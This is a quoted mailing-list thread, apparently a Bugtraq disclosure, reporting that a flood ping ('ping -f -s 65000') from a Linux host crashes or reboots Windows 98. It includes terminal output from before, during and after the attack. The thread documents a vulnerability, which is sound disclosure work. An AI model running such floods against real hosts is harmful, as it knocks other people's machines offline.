- Hey...
- I made what you suggested, and it's true... But in my case the
- results were a little worse than yours...
- Windows 98 *REBOOTED* after a ping -f 65000... and wasn't need
- to make several screen boxes... With only one ping -f 65000 the system
- rebooted.

- I issued "ping -f -s 65000 my-win98-address" and after a single return, win98
- locked up cold. I was ssh'd from win98 to linux to issue the ping, so I might
- have had more returns than timing allowed to be displayed before I locked
- up.

- Sorry, I made a mistake when sent the email to Bugtraq. The
- correct command (From Linux Slackware 3.6 Kernel 2.0.36) line is:
-
- ping -f -s 65000 IPaddr

- Hehe... But a synflood just made the LAN Communication slower,
- and didn't affected Windows 98 than pingflood affected!

- Subject: Pingflood attack against Windows98 - The Test
-
- Hello all,
-
- This is what is happening when I ping flood a Windows98 from a
- Linux Slackware 3.6 (Kernel 2.0.36).
-
-
- -Before the attack-
-
- linux:~# ping 192.168.1.4
- PING 192.168.1.4 (192.168.1.4): 56 data bytes
- 64 bytes from 192.168.1.4: icmp_seq=0 ttl=128 time=0.5 ms
- 64 bytes from 192.168.1.4: icmp_seq=1 ttl=128 time=0.5 ms
-
- --- 192.168.1.4 ping statistics ---
- 2 packets transmitted, 2 packets received, 0% packet loss
- round-trip min/avg/max = 0.5/0.5/0.5 ms
-
-
- -The Attack-
-
- linux:~# ping -f -s 65000 192.168.1.4
- PING 192.168.1.3 (192.168.1.4): 65000 data bytes
- .......................................................................
- ...................................................../*After lots of
- little dots... Windows98 Rebooted*/...<CTRL+C>
-
- --- 192.168.1.4 ping statistics ---
- 11440 packets transmitted, 228 packets received, 98% packet loss
- round-trip min/avg/max = 0.6/32.0/64.2 ms
-
-
- -After the attack-
-
- linux:~# ping 192.168.1.4
- PING 192.168.1.4 (192.168.1.4): 56 data bytes
-
- --- 192.168.1.4 ping statistics ---
- 4 packets transmitted, 0 packets received, 100% packet loss

- results?
